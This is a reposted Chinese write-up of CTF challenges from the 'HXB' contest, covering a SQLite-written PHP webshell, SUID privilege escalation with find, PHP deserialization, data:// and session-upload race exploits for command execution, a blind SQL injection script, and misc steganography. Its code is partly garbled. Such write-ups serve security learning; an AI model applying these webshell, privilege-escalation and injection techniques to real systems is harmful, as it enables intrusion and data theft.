我的编程空间,编程开发者的网络收藏夹
学习永远不晚

hxb海啸杯

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

hxb海啸杯

web

welcome to 海啸杯

查看源代码,拿到flag。

HXBCTF{welcome _to_HXB}

极客邀请函

考点:SQLite get shell、SUID提权

查看网页源码,看到注释里的PHP代码

open('./test.db');}}$db = new MyDB();if(!$db){echo $db->lastErrorMsg();} else {echo "Opened database successfully\n";}if($POST["cmd"]!=NULL){if(strpos($POST["cmd"],'system')!==false){echo 'HACK不准哦 达咩 达咩哦';}else{echo '执行成功';$db->exec($POST["cmd"]);*}}?>

SQLite还可以生成任意后缀名的数据库文件
创建一个 shell.php 的数据库文件,新建一个名为 exp 的表,并在表中插入: ,即一句话木马

ATTACH DATABASE 'shell.php' AS hxbctf; create TABLE hxbctf.exp (dataz text);insert INTO hxbctf.exp (dataz) VALUES ('');

用蚁剑连接:
在这里插入图片描述

发现flag在/tmp目录下,但没有权限查看,使用suid提权
利用find找到有SUID权限

find / -user root -perm -4000 -exec ls -ldb {} \;

find文件所属者和所属组都为root用户,使用find命令可以执行其它的系统命令,因此可以使用find命
令运行whoami查看当前用户

find 1 -exec whoami \;

使用find获取flag

find 1 -exec cat /tmp/flag \;![在这里插入图片描述](https://img-blog.csdnimg.cn/a3da5e5799ce4a73b0dd3fc81a2758ad.png)

在这里插入图片描述

参考文章:

https://blog.csdn.net/weixin_39430198/article/details/123504153

infant_serialize

Atuhor:eeknight

考点:PHP反序列化原生类利用、wakeup绕过

题目描述:反了反了

 class = "hunzi";        $this->para = "luansha";        echo new  $this->class ($this->para);    }   public function __wakeup() {           $this->status="dalao";    }    public function __destruct()    {        if($this->status!="dalao"){            $this->check = new jingcha;            if($this->check->filter($this->para) && $this->check->filter($this->class)) {                echo new  $this->class ($this->para);            }            else                die('有黑客,抓起来!!!!');        }        else            die("欢迎大佬!!!!!!!");    }}class hunzi{    var $a;    public function __construct($a)    {        $this->a = $a;        echo ("hello ".$this->a);    }}class jingcha{    function filter($code){        $pattern = '/[|\'*|=|"|;|?]/i';        if (preg_match($pattern, $code)){            return false;        }        else            return true;    }}if(isset($_GET['dalao'])){    unserialize(base64_decode($_GET['dalao']));}else{    highlight_file(__FILE__);}   

遍历得到flag名字 ,使用原生类FilesystemIterator

在这里插入图片描述

得到42177812215a92ea1ad9b7d61a1787e8.php,即为flag所在的文件,

接着读取,使用原生类SplFileObject

在这里插入图片描述

小小web

考点:md5绕过、伪协议

 
$r = random();if((string)$_GET['a']==(string)md5($_GET['b'])){  $a=$_GET['a'];  $b=md5($_GET['b']);  if($a.$r == $b){

有一个random方法,返回的是一个随机数,在这道题中,不需要清楚返回的是什么内容,我们只要知道返回的是一串数字就可以了。传入两个参数a和b,要求传入的是字符串,b会经过md5加密。最后要让 a . a. a.r == b 。因为是弱类型比较,且只能传入字符串,想要的是两个 0 e 开头的字符串进行比较,因为 b。因为是弱类型比较,且只能传入字符串,想要的是两个0e开头的字符串进行比较,因为 b。因为是弱类型比较,且只能传入字符串,想要的是两个0e开头的字符串进行比较,因为b是参数b经过md5加密而来,所以我们传入md5加密后是0e开头的字符串即可。

构造a,b如下

?a=0e123221&b=s1502113478a&c=/var/www/html/flag.PHP%0a
 $c = file_get_contents($_GET['c']);      eval($c);

刚开始以为直接将路径传给c,eval输出flag。。。

后来发现正则绕不过去,/is 匹配所有字符及换行符。

联想到题目 你就爆吧你。。应该是

第一种解法:

PHP_SESSION_UPLOAD_PROGRESS文件包含利用

的知识点了来绕过。文件竞争命令执行拿flag。

上传一个自定义的内容临时文件,传入eval,进行rec即可。

exp:

import ioimport requestsimport threadingimport time def poc(session):    global event'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': 'bbbbbbb'} )        while resp.status_code==429:            time.sleep(0.3)            resp = session.post( 'http://121.37.24.208:63738/?a=0e11&b=s1502113478a&cmd=system("cat%20/var/www/html/42177812215a92ea1ad9b7d61a1787e8.php");&c=/tmp/sess_bbbbbbb', data={'PHP_SESSION_UPLOAD_PROGRESS': ' ?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': 'bbbbbbb'} )        print(resp.text[resp.text.find('yes'):])if __name__=="__main__":    event=threading.Event()    with requests.session() as session:        for i in range(1,30):             threading.Thread(target=poc,args=(session,)).start()

运行得到flag。

第二种:

data协议data:text/plain file_get_contents拼接伪协议

虽然过滤了//,但是data:text/plain也可以用。

在这里插入图片描述

c3lzdGVtKCJscyIpOw==   //system("ls");base64编码查看目录
?a=0e123221&b=s1502113478a&c=data:text/plain;base64,c3lzdGVtKCJscyIpOw==;

在这里插入图片描述

发现42177812215a92ea1ad9b7d61a1787e8.php

读取flag:

system("cat /var/www/html/42177812215a92ea1ad9b7d61a1787e8.php");

注意 ;不要漏掉

base加密为:

c3lzdGVtKCJjYXQgL3Zhci93d3cvaHRtbC80MjE3NzgxMjIxNWE5MmVhMWFkOWI3ZDYxYTE3ODdlOC5waHAiKTs=
?a=0e123221&b=s1502113478a&c=data:text/plain;base64,c3lzdGVtKCJjYXQgL3Zhci93d3cvaHRtbC80MjE3NzgxMjIxNWE5MmVhMWFkOWI3ZDYxYTE3ODdlOC5waHAiKTs=;

在这里插入图片描述

扫一扫

信息泄露,disrearch扫描发现有www.zip,直接打开失败,拖到010拿到flag。

HXBCTF{message_leak_is_dangerous!}

happy_sql

sql,盲注脚本编写。

import reimport requestsurl="http://121.37.24.208:58125/"flag=""i=0while True:small=32big=127i=i+1while small>1data = {'height':f"0 or (select case when ord(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1)) > {mid} then 1 else 0 end)"}# 'height':f"0 or (select case when ord(mid((select flag from happy_sql),{i},1)) > {mid} then 1 else 0 end)"r=requests.post(url,data=data)if 'img/duochidian.jpg' in r.text:small=mid+1else:big =midif(re.search("}",flag)):breakelse:print(chr(small))flag+=chr(small)print(flag)

misc

套娃

码多次base,知道是base16、base32、base64,根据它们的字符集,写个脚本逐层解码

脚本破解即可:

import base64with open("Base套娃.txt", "r") as f:r = f.read()while True:try:r = base64.b16decode(r)print("base16")except:try:r = base64.b32decode(r)print("base32")except:try:r = base64.b64decode(r)print("base64")except:passif b"hxbctf" in r:print(r)break

在这里插入图片描述

藏在云朵的二维码

Stegsolve 文件合成,发现有个二维码,接着就选择较为清晰的两张图疯狂合成,使得二维码清楚一点,最后扫描即可拿到flag。

在这里插入图片描述

新时代保安

Stegsolve 选择不同的通道查看,即可拿到flag:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7gtX6n0l-1666622264490)(D:\AAaaZH\学习\web学习\题目+比赛\比赛\比赛\2022-10-15海啸杯\海啸杯笔记\image-20221015171046265.png)]

我的银行卡密码是:xxxx

使用archpr.exe对压缩包密码进行爆破,得出是987654。

解压得到一张图片:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KR5viknJ-1666622264491)(D:\AAaaZH\学习\web学习\题目+比赛\比赛\比赛\2022-10-15海啸杯\海啸杯笔记\image-20221015171206920.png)]

也是放到Stegsolve ,选择不同的通道,lsb隐写 查找得到flag。

藏在云朵的二维码

Stegsolve 文件合成,发现有个二维码,接着就选择较为清晰的两张图疯狂合成,使得二维码清楚一点,最后扫描即可拿到flag。

新时代保安

Stegsolve 选择不同的通道查看,即可拿到flag:

来源地址:https://blog.csdn.net/m0_62107966/article/details/127503877

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

hxb海啸杯

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

2023-09-06

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录